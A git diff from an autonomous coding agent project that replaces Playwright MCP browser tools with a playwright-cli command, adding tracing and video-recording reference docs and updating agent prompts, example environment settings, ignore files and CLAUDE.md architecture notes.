|
playwright-cli snapshot
|
||||||
|
# Output shows: e1 [textbox "Email"], e2 [textbox "Password"], e3 [button "Sign In"]
|
||||||
|
|
||||||
|
# Fill form fields - generates code automatically
|
||||||
|
playwright-cli fill e1 "user@example.com"
|
||||||
|
# Ran Playwright code:
|
||||||
|
# await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
|
||||||
|
|
||||||
|
playwright-cli fill e2 "password123"
|
||||||
|
# Ran Playwright code:
|
||||||
|
# await page.getByRole('textbox', { name: 'Password' }).fill('password123');
|
||||||
|
|
||||||
|
playwright-cli click e3
|
||||||
|
# Ran Playwright code:
|
||||||
|
# await page.getByRole('button', { name: 'Sign In' }).click();
|
||||||
|
```
|
||||||
|
|
||||||
|
## Building a Test File
|
||||||
|
|
||||||
|
Collect the generated code into a Playwright test:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { test, expect } from '@playwright/test';
|
||||||
|
|
||||||
|
test('login flow', async ({ page }) => {
|
||||||
|
// Generated code from playwright-cli session:
|
||||||
|
await page.goto('https://example.com/login');
|
||||||
|
await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
|
||||||
|
await page.getByRole('textbox', { name: 'Password' }).fill('password123');
|
||||||
|
await page.getByRole('button', { name: 'Sign In' }).click();
|
||||||
|
|
||||||
|
// Add assertions
|
||||||
|
await expect(page).toHaveURL(/.*dashboard/);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## Best Practices
|
||||||
|
|
||||||
|
### 1. Use Semantic Locators
|
||||||
|
|
||||||
|
The generated code uses role-based locators when possible, which are more resilient:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Generated (good - semantic)
|
||||||
|
await page.getByRole('button', { name: 'Submit' }).click();
|
||||||
|
|
||||||
|
// Avoid (fragile - CSS selectors)
|
||||||
|
await page.locator('#submit-btn').click();
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Explore Before Recording
|
||||||
|
|
||||||
|
Take snapshots to understand the page structure before recording actions:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli snapshot
|
||||||
|
# Review the element structure
|
||||||
|
playwright-cli click e5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Add Assertions Manually
|
||||||
|
|
||||||
|
Generated code captures actions but not assertions. Add expectations in your test:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Generated action
|
||||||
|
await page.getByRole('button', { name: 'Submit' }).click();
|
||||||
|
|
||||||
|
// Manual assertion
|
||||||
|
await expect(page.getByText('Success')).toBeVisible();
|
||||||
|
```
|
||||||
139
.claude/skills/playwright-cli/references/tracing.md
Normal file
139
.claude/skills/playwright-cli/references/tracing.md
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
# Tracing
|
||||||
|
|
||||||
|
Capture detailed execution traces for debugging and analysis. Traces include DOM snapshots, screenshots, network activity, and console logs.
|
||||||
|
|
||||||
|
## Basic Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start trace recording
|
||||||
|
playwright-cli tracing-start
|
||||||
|
|
||||||
|
# Perform actions
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli click e1
|
||||||
|
playwright-cli fill e2 "test"
|
||||||
|
|
||||||
|
# Stop trace recording
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
```
|
||||||
|
|
||||||
|
## Trace Output Files
|
||||||
|
|
||||||
|
When you start tracing, Playwright creates a `traces/` directory with several files:
|
||||||
|
|
||||||
|
### `trace-{timestamp}.trace`
|
||||||
|
|
||||||
|
**Action log** - The main trace file containing:
|
||||||
|
- Every action performed (clicks, fills, navigations)
|
||||||
|
- DOM snapshots before and after each action
|
||||||
|
- Screenshots at each step
|
||||||
|
- Timing information
|
||||||
|
- Console messages
|
||||||
|
- Source locations
|
||||||
|
|
||||||
|
### `trace-{timestamp}.network`
|
||||||
|
|
||||||
|
**Network log** - Complete network activity:
|
||||||
|
- All HTTP requests and responses
|
||||||
|
- Request headers and bodies
|
||||||
|
- Response headers and bodies
|
||||||
|
- Timing (DNS, connect, TLS, TTFB, download)
|
||||||
|
- Resource sizes
|
||||||
|
- Failed requests and errors
|
||||||
|
|
||||||
|
### `resources/`
|
||||||
|
|
||||||
|
**Resources directory** - Cached resources:
|
||||||
|
- Images, fonts, stylesheets, scripts
|
||||||
|
- Response bodies for replay
|
||||||
|
- Assets needed to reconstruct page state
|
||||||
|
|
||||||
|
## What Traces Capture
|
||||||
|
|
||||||
|
| Category | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Actions** | Clicks, fills, hovers, keyboard input, navigations |
|
||||||
|
| **DOM** | Full DOM snapshot before/after each action |
|
||||||
|
| **Screenshots** | Visual state at each step |
|
||||||
|
| **Network** | All requests, responses, headers, bodies, timing |
|
||||||
|
| **Console** | All console.log, warn, error messages |
|
||||||
|
| **Timing** | Precise timing for each operation |
|
||||||
|
|
||||||
|
## Use Cases
|
||||||
|
|
||||||
|
### Debugging Failed Actions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli tracing-start
|
||||||
|
playwright-cli open https://app.example.com
|
||||||
|
|
||||||
|
# This click fails - why?
|
||||||
|
playwright-cli click e5
|
||||||
|
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
# Open trace to see DOM state when click was attempted
|
||||||
|
```
|
||||||
|
|
||||||
|
### Analyzing Performance
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli tracing-start
|
||||||
|
playwright-cli open https://slow-site.com
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
|
||||||
|
# View network waterfall to identify slow resources
|
||||||
|
```
|
||||||
|
|
||||||
|
### Capturing Evidence
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Record a complete user flow for documentation
|
||||||
|
playwright-cli tracing-start
|
||||||
|
|
||||||
|
playwright-cli open https://app.example.com/checkout
|
||||||
|
playwright-cli fill e1 "4111111111111111"
|
||||||
|
playwright-cli fill e2 "12/25"
|
||||||
|
playwright-cli fill e3 "123"
|
||||||
|
playwright-cli click e4
|
||||||
|
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
# Trace shows exact sequence of events
|
||||||
|
```
|
||||||
|
|
||||||
|
## Trace vs Video vs Screenshot
|
||||||
|
|
||||||
|
| Feature | Trace | Video | Screenshot |
|
||||||
|
|---------|-------|-------|------------|
|
||||||
|
| **Format** | .trace file | .webm video | .png/.jpeg image |
|
||||||
|
| **DOM inspection** | Yes | No | No |
|
||||||
|
| **Network details** | Yes | No | No |
|
||||||
|
| **Step-by-step replay** | Yes | Continuous | Single frame |
|
||||||
|
| **File size** | Medium | Large | Small |
|
||||||
|
| **Best for** | Debugging | Demos | Quick capture |
|
||||||
|
|
||||||
|
## Best Practices
|
||||||
|
|
||||||
|
### 1. Start Tracing Before the Problem
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Trace the entire flow, not just the failing step
|
||||||
|
playwright-cli tracing-start
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
# ... all steps leading to the issue ...
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Clean Up Old Traces
|
||||||
|
|
||||||
|
Traces can consume significant disk space:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove traces older than 7 days
|
||||||
|
find .playwright-cli/traces -mtime +7 -delete
|
||||||
|
```
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- Traces add overhead to automation
|
||||||
|
- Large traces can consume significant disk space
|
||||||
|
- Some dynamic content may not replay perfectly
|
||||||
43
.claude/skills/playwright-cli/references/video-recording.md
Normal file
43
.claude/skills/playwright-cli/references/video-recording.md
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
# Video Recording
|
||||||
|
|
||||||
|
Capture browser automation sessions as video for debugging, documentation, or verification. Produces WebM (VP8/VP9 codec).
|
||||||
|
|
||||||
|
## Basic Recording
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start recording
|
||||||
|
playwright-cli video-start
|
||||||
|
|
||||||
|
# Perform actions
|
||||||
|
playwright-cli open https://example.com
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli click e1
|
||||||
|
playwright-cli fill e2 "test input"
|
||||||
|
|
||||||
|
# Stop and save
|
||||||
|
playwright-cli video-stop demo.webm
|
||||||
|
```
|
||||||
|
|
||||||
|
## Best Practices
|
||||||
|
|
||||||
|
### 1. Use Descriptive Filenames
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Include context in filename
|
||||||
|
playwright-cli video-stop recordings/login-flow-2024-01-15.webm
|
||||||
|
playwright-cli video-stop recordings/checkout-test-run-42.webm
|
||||||
|
```
|
||||||
|
|
||||||
|
## Tracing vs Video
|
||||||
|
|
||||||
|
| Feature | Video | Tracing |
|
||||||
|
|---------|-------|---------|
|
||||||
|
| Output | WebM file | Trace file (viewable in Trace Viewer) |
|
||||||
|
| Shows | Visual recording | DOM snapshots, network, console, actions |
|
||||||
|
| Use case | Demos, documentation | Debugging, analysis |
|
||||||
|
| Size | Larger | Smaller |
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- Recording adds slight overhead to automation
|
||||||
|
- Large recordings can consume significant disk space
|
||||||
@@ -86,24 +86,33 @@ Implement the chosen feature thoroughly:
|
|||||||
|
|
||||||
**CRITICAL:** You MUST verify features through the actual UI.
|
**CRITICAL:** You MUST verify features through the actual UI.
|
||||||
|
|
||||||
Use browser automation tools:
|
Use `playwright-cli` for browser automation:
|
||||||
|
|
||||||
- Navigate to the app in a real browser
|
- Open the browser: `playwright-cli open http://localhost:PORT`
|
||||||
- Interact like a human user (click, type, scroll)
|
- Take a snapshot to see page elements: `playwright-cli snapshot`
|
||||||
- Take screenshots at each step
|
- Read the snapshot YAML file to see element refs
|
||||||
- Verify both functionality AND visual appearance
|
- Click elements by ref: `playwright-cli click e5`
|
||||||
|
- Type text: `playwright-cli type "search query"`
|
||||||
|
- Fill form fields: `playwright-cli fill e3 "value"`
|
||||||
|
- Take screenshots: `playwright-cli screenshot`
|
||||||
|
- Read the screenshot file to verify visual appearance
|
||||||
|
- Check console errors: `playwright-cli console`
|
||||||
|
- Close browser when done: `playwright-cli close`
|
||||||
|
|
||||||
|
**Token-efficient workflow:** `playwright-cli screenshot` and `snapshot` save files
|
||||||
|
to `.playwright-cli/`. You will see a file link in the output. Read the file only
|
||||||
|
when you need to verify visual appearance or find element refs.
|
||||||
|
|
||||||
**DO:**
|
**DO:**
|
||||||
|
|
||||||
- Test through the UI with clicks and keyboard input
|
- Test through the UI with clicks and keyboard input
|
||||||
- Take screenshots to verify visual appearance
|
- Take screenshots and read them to verify visual appearance
|
||||||
- Check for console errors in browser
|
- Check for console errors with `playwright-cli console`
|
||||||
- Verify complete user workflows end-to-end
|
- Verify complete user workflows end-to-end
|
||||||
|
- Always run `playwright-cli close` when finished testing
|
||||||
|
|
||||||
**DON'T:**
|
**DON'T:**
|
||||||
|
- Only test with curl commands
|
||||||
- Only test with curl commands (backend testing alone is insufficient)
|
- Use JavaScript evaluation to bypass UI (`eval` and `run-code` are blocked)
|
||||||
- Use JavaScript evaluation to bypass UI (no shortcuts)
|
|
||||||
- Skip visual verification
|
- Skip visual verification
|
||||||
- Mark tests passing without thorough verification
|
- Mark tests passing without thorough verification
|
||||||
|
|
||||||
@@ -145,7 +154,7 @@ Use the feature_mark_passing tool with feature_id=42
|
|||||||
- Combine or consolidate features
|
- Combine or consolidate features
|
||||||
- Reorder features
|
- Reorder features
|
||||||
|
|
||||||
**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH SCREENSHOTS.**
|
**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH BROWSER AUTOMATION.**
|
||||||
|
|
||||||
### STEP 7: COMMIT YOUR PROGRESS
|
### STEP 7: COMMIT YOUR PROGRESS
|
||||||
|
|
||||||
@@ -192,9 +201,15 @@ Before context fills up:
|
|||||||
|
|
||||||
## BROWSER AUTOMATION
|
## BROWSER AUTOMATION
|
||||||
|
|
||||||
Use Playwright MCP tools (`browser_*`) for UI verification. Key tools: `navigate`, `click`, `type`, `fill_form`, `take_screenshot`, `console_messages`, `network_requests`. All tools have auto-wait built in.
|
Use `playwright-cli` commands for UI verification. Key commands: `open`, `goto`,
|
||||||
|
`snapshot`, `click`, `type`, `fill`, `screenshot`, `console`, `close`.
|
||||||
|
|
||||||
Test like a human user with mouse and keyboard. Use `browser_console_messages` to detect errors. Don't bypass UI with JavaScript evaluation.
|
**How it works:** `playwright-cli` uses a persistent browser daemon. `open` starts it,
|
||||||
|
subsequent commands interact via socket, `close` shuts it down. Screenshots and snapshots
|
||||||
|
save to `.playwright-cli/` -- read the files when you need to verify content.
|
||||||
|
|
||||||
|
Test like a human user with mouse and keyboard. Use `playwright-cli console` to detect
|
||||||
|
JS errors. Don't bypass UI with JavaScript evaluation.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -31,26 +31,32 @@ For the feature returned:
|
|||||||
1. Read and understand the feature's verification steps
|
1. Read and understand the feature's verification steps
|
||||||
2. Navigate to the relevant part of the application
|
2. Navigate to the relevant part of the application
|
||||||
3. Execute each verification step using browser automation
|
3. Execute each verification step using browser automation
|
||||||
4. Take screenshots to document the verification
|
4. Take screenshots and read them to verify visual appearance
|
||||||
5. Check for console errors
|
5. Check for console errors
|
||||||
|
|
||||||
Use browser automation tools:
|
### Browser Automation (Playwright CLI)
|
||||||
|
|
||||||
**Navigation & Screenshots:**
|
**Navigation & Screenshots:**
|
||||||
- browser_navigate - Navigate to a URL
|
- `playwright-cli open <url>` - Open browser and navigate
|
||||||
- browser_take_screenshot - Capture screenshot (use for visual verification)
|
- `playwright-cli goto <url>` - Navigate to URL
|
||||||
- browser_snapshot - Get accessibility tree snapshot
|
- `playwright-cli screenshot` - Save screenshot to `.playwright-cli/`
|
||||||
|
- `playwright-cli snapshot` - Save page snapshot with element refs to `.playwright-cli/`
|
||||||
|
|
||||||
**Element Interaction:**
|
**Element Interaction:**
|
||||||
- browser_click - Click elements
|
- `playwright-cli click <ref>` - Click elements (ref from snapshot)
|
||||||
- browser_type - Type text into editable elements
|
- `playwright-cli type <text>` - Type text
|
||||||
- browser_fill_form - Fill multiple form fields
|
- `playwright-cli fill <ref> <text>` - Fill form fields
|
||||||
- browser_select_option - Select dropdown options
|
- `playwright-cli select <ref> <val>` - Select dropdown
|
||||||
- browser_press_key - Press keyboard keys
|
- `playwright-cli press <key>` - Keyboard input
|
||||||
|
|
||||||
**Debugging:**
|
**Debugging:**
|
||||||
- browser_console_messages - Get browser console output (check for errors)
|
- `playwright-cli console` - Check for JS errors
|
||||||
- browser_network_requests - Monitor API calls
|
- `playwright-cli network` - Monitor API calls
|
||||||
|
|
||||||
|
**Cleanup:**
|
||||||
|
- `playwright-cli close` - Close browser when done (ALWAYS do this)
|
||||||
|
|
||||||
|
**Note:** Screenshots and snapshots save to files. Read the file to see the content.
|
||||||
|
|
||||||
### STEP 3: HANDLE RESULTS
|
### STEP 3: HANDLE RESULTS
|
||||||
|
|
||||||
@@ -79,7 +85,7 @@ A regression has been introduced. You MUST fix it:
|
|||||||
|
|
||||||
4. **Verify the fix:**
|
4. **Verify the fix:**
|
||||||
- Run through all verification steps again
|
- Run through all verification steps again
|
||||||
- Take screenshots confirming the fix
|
- Take screenshots and read them to confirm the fix
|
||||||
|
|
||||||
5. **Mark as passing after fix:**
|
5. **Mark as passing after fix:**
|
||||||
```
|
```
|
||||||
@@ -98,7 +104,7 @@ A regression has been introduced. You MUST fix it:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## AVAILABLE MCP TOOLS
|
## AVAILABLE TOOLS
|
||||||
|
|
||||||
### Feature Management
|
### Feature Management
|
||||||
- `feature_get_stats` - Get progress overview (passing/in_progress/total counts)
|
- `feature_get_stats` - Get progress overview (passing/in_progress/total counts)
|
||||||
@@ -106,19 +112,17 @@ A regression has been introduced. You MUST fix it:
|
|||||||
- `feature_mark_failing` - Mark a feature as failing (when you find a regression)
|
- `feature_mark_failing` - Mark a feature as failing (when you find a regression)
|
||||||
- `feature_mark_passing` - Mark a feature as passing (after fixing a regression)
|
- `feature_mark_passing` - Mark a feature as passing (after fixing a regression)
|
||||||
|
|
||||||
### Browser Automation (Playwright)
|
### Browser Automation (Playwright CLI)
|
||||||
All interaction tools have **built-in auto-wait** -- no manual timeouts needed.
|
Use `playwright-cli` commands for browser interaction. Key commands:
|
||||||
|
- `playwright-cli open <url>` - Open browser
|
||||||
- `browser_navigate` - Navigate to URL
|
- `playwright-cli goto <url>` - Navigate to URL
|
||||||
- `browser_take_screenshot` - Capture screenshot
|
- `playwright-cli screenshot` - Take screenshot (saved to `.playwright-cli/`)
|
||||||
- `browser_snapshot` - Get accessibility tree
|
- `playwright-cli snapshot` - Get page snapshot with element refs
|
||||||
- `browser_click` - Click elements
|
- `playwright-cli click <ref>` - Click element
|
||||||
- `browser_type` - Type text
|
- `playwright-cli type <text>` - Type text
|
||||||
- `browser_fill_form` - Fill form fields
|
- `playwright-cli fill <ref> <text>` - Fill form field
|
||||||
- `browser_select_option` - Select dropdown
|
- `playwright-cli console` - Check for JS errors
|
||||||
- `browser_press_key` - Keyboard input
|
- `playwright-cli close` - Close browser (always do this when done)
|
||||||
- `browser_console_messages` - Check for JS errors
|
|
||||||
- `browser_network_requests` - Monitor API calls
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
53
.env.example
53
.env.example
@@ -9,11 +9,6 @@
|
|||||||
# - webkit: Safari engine
|
# - webkit: Safari engine
|
||||||
# - msedge: Microsoft Edge
|
# - msedge: Microsoft Edge
|
||||||
# PLAYWRIGHT_BROWSER=firefox
|
# PLAYWRIGHT_BROWSER=firefox
|
||||||
#
|
|
||||||
# PLAYWRIGHT_HEADLESS: Run browser without visible window
|
|
||||||
# - true: Browser runs in background, saves CPU (default)
|
|
||||||
# - false: Browser opens a visible window (useful for debugging)
|
|
||||||
# PLAYWRIGHT_HEADLESS=true
|
|
||||||
|
|
||||||
# Extra Read Paths (Optional)
|
# Extra Read Paths (Optional)
|
||||||
# Comma-separated list of absolute paths for read-only access to external directories.
|
# Comma-separated list of absolute paths for read-only access to external directories.
|
||||||
@@ -25,40 +20,44 @@
|
|||||||
# Google Cloud Vertex AI Configuration (Optional)
|
# Google Cloud Vertex AI Configuration (Optional)
|
||||||
# To use Claude via Vertex AI on Google Cloud Platform, uncomment and set these variables.
|
# To use Claude via Vertex AI on Google Cloud Platform, uncomment and set these variables.
|
||||||
# Requires: gcloud CLI installed and authenticated (run: gcloud auth application-default login)
|
# Requires: gcloud CLI installed and authenticated (run: gcloud auth application-default login)
|
||||||
# Note: Use @ instead of - in model names (e.g., claude-opus-4-5@20251101)
|
# Note: Use @ instead of - in model names for date-suffixed models (e.g., claude-sonnet-4-5@20250929)
|
||||||
#
|
#
|
||||||
# CLAUDE_CODE_USE_VERTEX=1
|
# CLAUDE_CODE_USE_VERTEX=1
|
||||||
# CLOUD_ML_REGION=us-east5
|
# CLOUD_ML_REGION=us-east5
|
||||||
# ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
# ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
# ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
# ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||||
|
|
||||||
# GLM/Alternative API Configuration (Optional)
|
# ===================
|
||||||
# To use Zhipu AI's GLM models instead of Claude, uncomment and set these variables.
|
# Alternative API Providers (Azure, GLM, Ollama, Kimi, Custom)
|
||||||
# This only affects AutoCoder - your global Claude Code settings remain unchanged.
|
# ===================
|
||||||
# Get an API key at: https://z.ai/subscribe
|
# Configure via Settings UI (recommended) or set env vars below.
|
||||||
|
# When both are set, env vars take precedence.
|
||||||
#
|
#
|
||||||
|
# Azure Anthropic (Claude):
|
||||||
|
# ANTHROPIC_BASE_URL=https://your-resource.services.ai.azure.com/anthropic
|
||||||
|
# ANTHROPIC_API_KEY=your-azure-api-key
|
||||||
|
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6
|
||||||
|
# ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5
|
||||||
|
# ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-haiku-4-5
|
||||||
|
#
|
||||||
|
# GLM (Zhipu AI):
|
||||||
# ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
# ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
||||||
# ANTHROPIC_AUTH_TOKEN=your-zhipu-api-key
|
# ANTHROPIC_AUTH_TOKEN=your-glm-api-key
|
||||||
# API_TIMEOUT_MS=3000000
|
|
||||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=glm-4.7
|
|
||||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
# ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
||||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.5-air
|
# ANTHROPIC_DEFAULT_SONNET_MODEL=glm-4.7
|
||||||
|
# ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.7
|
||||||
# Ollama Local Model Configuration (Optional)
|
|
||||||
# To use local models via Ollama instead of Claude, uncomment and set these variables.
|
|
||||||
# Requires Ollama v0.14.0+ with Anthropic API compatibility.
|
|
||||||
# See: https://ollama.com/blog/claude
|
|
||||||
#
|
#
|
||||||
|
# Ollama (Local):
|
||||||
# ANTHROPIC_BASE_URL=http://localhost:11434
|
# ANTHROPIC_BASE_URL=http://localhost:11434
|
||||||
# ANTHROPIC_AUTH_TOKEN=ollama
|
|
||||||
# API_TIMEOUT_MS=3000000
|
|
||||||
# ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
|
||||||
# ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
# ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||||
|
# ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
||||||
# ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
# ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||||
#
|
#
|
||||||
# Model recommendations:
|
# Kimi (Moonshot):
|
||||||
# - For best results, use a capable coding model like qwen3-coder or deepseek-coder-v2
|
# ANTHROPIC_BASE_URL=https://api.kimi.com/coding/
|
||||||
# - You can use the same model for all tiers, or different models per tier
|
# ANTHROPIC_API_KEY=your-kimi-api-key
|
||||||
# - Larger models (70B+) work best for Opus tier, smaller (7B-20B) for Haiku
|
# ANTHROPIC_DEFAULT_OPUS_MODEL=kimi-k2.5
|
||||||
|
# ANTHROPIC_DEFAULT_SONNET_MODEL=kimi-k2.5
|
||||||
|
# ANTHROPIC_DEFAULT_HAIKU_MODEL=kimi-k2.5
|
||||||
|
|||||||
6
.gitignore
vendored
6
.gitignore
vendored
@@ -2,6 +2,7 @@
|
|||||||
generations/
|
generations/
|
||||||
automaker/
|
automaker/
|
||||||
temp/
|
temp/
|
||||||
|
temp-docs/
|
||||||
|
|
||||||
nul
|
nul
|
||||||
issues/
|
issues/
|
||||||
@@ -9,6 +10,10 @@ issues/
|
|||||||
# Browser profiles for parallel agent execution
|
# Browser profiles for parallel agent execution
|
||||||
.browser-profiles/
|
.browser-profiles/
|
||||||
|
|
||||||
|
# Playwright CLI daemon artifacts
|
||||||
|
.playwright-cli/
|
||||||
|
.playwright/
|
||||||
|
|
||||||
# Log files
|
# Log files
|
||||||
logs/
|
logs/
|
||||||
*.log
|
*.log
|
||||||
@@ -114,6 +119,7 @@ Desktop.ini
|
|||||||
ui/dist/
|
ui/dist/
|
||||||
ui/.vite/
|
ui/.vite/
|
||||||
.vite/
|
.vite/
|
||||||
|
*.tgz
|
||||||
|
|
||||||
# ===================
|
# ===================
|
||||||
# Environment files
|
# Environment files
|
||||||
|
|||||||
31
.npmignore
Normal file
31
.npmignore
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
venv/
|
||||||
|
**/__pycache__/
|
||||||
|
**/*.pyc
|
||||||
|
.git/
|
||||||
|
.github/
|
||||||
|
node_modules/
|
||||||
|
test_*.py
|
||||||
|
tests/
|
||||||
|
generations/
|
||||||
|
*.db
|
||||||
|
.env
|
||||||
|
requirements.txt
|
||||||
|
CLAUDE.md
|
||||||
|
LICENSE.md
|
||||||
|
README.md
|
||||||
|
ui/src/
|
||||||
|
ui/node_modules/
|
||||||
|
ui/tsconfig*.json
|
||||||
|
ui/vite.config.ts
|
||||||
|
ui/eslint.config.js
|
||||||
|
ui/index.html
|
||||||
|
ui/public/
|
||||||
|
ui/playwright.config.ts
|
||||||
|
ui/tests/
|
||||||
|
start.bat
|
||||||
|
start_ui.bat
|
||||||
|
start.sh
|
||||||
|
start_ui.sh
|
||||||
|
start_ui.py
|
||||||
|
.claude/agents/
|
||||||
|
.claude/settings.json
|
||||||
123
CLAUDE.md
123
CLAUDE.md
@@ -17,18 +17,28 @@ This is an autonomous coding agent system with a React-based UI. It uses the Cla
|
|||||||
|
|
||||||
## Commands
|
## Commands
|
||||||
|
|
||||||
### Quick Start (Recommended)
|
### npm Global Install (Recommended)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Windows - launches CLI menu
|
npm install -g autoforge-ai
|
||||||
start.bat
|
autoforge # Start server (first run sets up Python venv)
|
||||||
|
autoforge config # Edit ~/.autoforge/.env in $EDITOR
|
||||||
|
autoforge config --show # Print active configuration
|
||||||
|
autoforge --port 9999 # Custom port
|
||||||
|
autoforge --no-browser # Don't auto-open browser
|
||||||
|
autoforge --repair # Delete and recreate ~/.autoforge/venv/
|
||||||
|
```
|
||||||
|
|
||||||
# macOS/Linux
|
### From Source (Development)
|
||||||
./start.sh
|
|
||||||
|
|
||||||
|
```bash
|
||||||
# Launch Web UI (serves pre-built React app)
|
# Launch Web UI (serves pre-built React app)
|
||||||
start_ui.bat # Windows
|
start_ui.bat # Windows
|
||||||
./start_ui.sh # macOS/Linux
|
./start_ui.sh # macOS/Linux
|
||||||
|
|
||||||
|
# CLI menu
|
||||||
|
start.bat # Windows
|
||||||
|
./start.sh # macOS/Linux
|
||||||
```
|
```
|
||||||
|
|
||||||
### Python Backend (Manual)
|
### Python Backend (Manual)
|
||||||
@@ -75,7 +85,7 @@ python autonomous_agent_demo.py --project-dir my-app --yolo
|
|||||||
|
|
||||||
**What's different in YOLO mode:**
|
**What's different in YOLO mode:**
|
||||||
- No regression testing
|
- No regression testing
|
||||||
- No Playwright MCP server (browser automation disabled)
|
- No Playwright CLI (browser automation disabled)
|
||||||
- Features marked passing after lint/type-check succeeds
|
- Features marked passing after lint/type-check succeeds
|
||||||
- Faster iteration for prototyping
|
- Faster iteration for prototyping
|
||||||
|
|
||||||
@@ -136,13 +146,24 @@ Configuration in `pyproject.toml`:
|
|||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
|
### npm CLI (bin/, lib/)
|
||||||
|
|
||||||
|
The `autoforge` command is a Node.js wrapper that manages the Python environment and server lifecycle:
|
||||||
|
- `bin/autoforge.js` - Entry point (shebang script)
|
||||||
|
- `lib/cli.js` - Main CLI logic: Python 3.11+ detection (cross-platform), venv management at `~/.autoforge/venv/` with composite marker (requirements hash + Python version), `.env` config loading from `~/.autoforge/.env`, uvicorn server startup with PID file, and signal handling
|
||||||
|
- `package.json` - npm package config (`autoforge-ai` on npm), `files` whitelist with `__pycache__` exclusions, `prepublishOnly` builds the UI
|
||||||
|
- `requirements-prod.txt` - Runtime-only Python deps (excludes ruff, mypy, pytest)
|
||||||
|
- `.npmignore` - Excludes dev files, tests, UI source from the published tarball
|
||||||
|
|
||||||
|
Publishing: `npm publish` (triggers `prepublishOnly` which builds UI, then publishes ~600KB tarball with 84 files)
|
||||||
|
|
||||||
### Core Python Modules
|
### Core Python Modules
|
||||||
|
|
||||||
- `start.py` - CLI launcher with project creation/selection menu
|
- `start.py` - CLI launcher with project creation/selection menu
|
||||||
- `autonomous_agent_demo.py` - Entry point for running the agent (supports `--yolo`, `--parallel`, `--batch-size`, `--batch-features`)
|
- `autonomous_agent_demo.py` - Entry point for running the agent (supports `--yolo`, `--parallel`, `--batch-size`, `--batch-features`)
|
||||||
- `autocoder_paths.py` - Central path resolution with dual-path backward compatibility and migration
|
- `autoforge_paths.py` - Central path resolution with dual-path backward compatibility and migration
|
||||||
- `agent.py` - Agent session loop using Claude Agent SDK
|
- `agent.py` - Agent session loop using Claude Agent SDK
|
||||||
- `client.py` - ClaudeSDKClient configuration with security hooks, MCP servers, and Vertex AI support
|
- `client.py` - ClaudeSDKClient configuration with security hooks, feature MCP server, and Vertex AI support
|
||||||
- `security.py` - Bash command allowlist validation (ALLOWED_COMMANDS whitelist)
|
- `security.py` - Bash command allowlist validation (ALLOWED_COMMANDS whitelist)
|
||||||
- `prompts.py` - Prompt template loading with project-specific fallback and batch feature prompts
|
- `prompts.py` - Prompt template loading with project-specific fallback and batch feature prompts
|
||||||
- `progress.py` - Progress tracking, database queries, webhook notifications
|
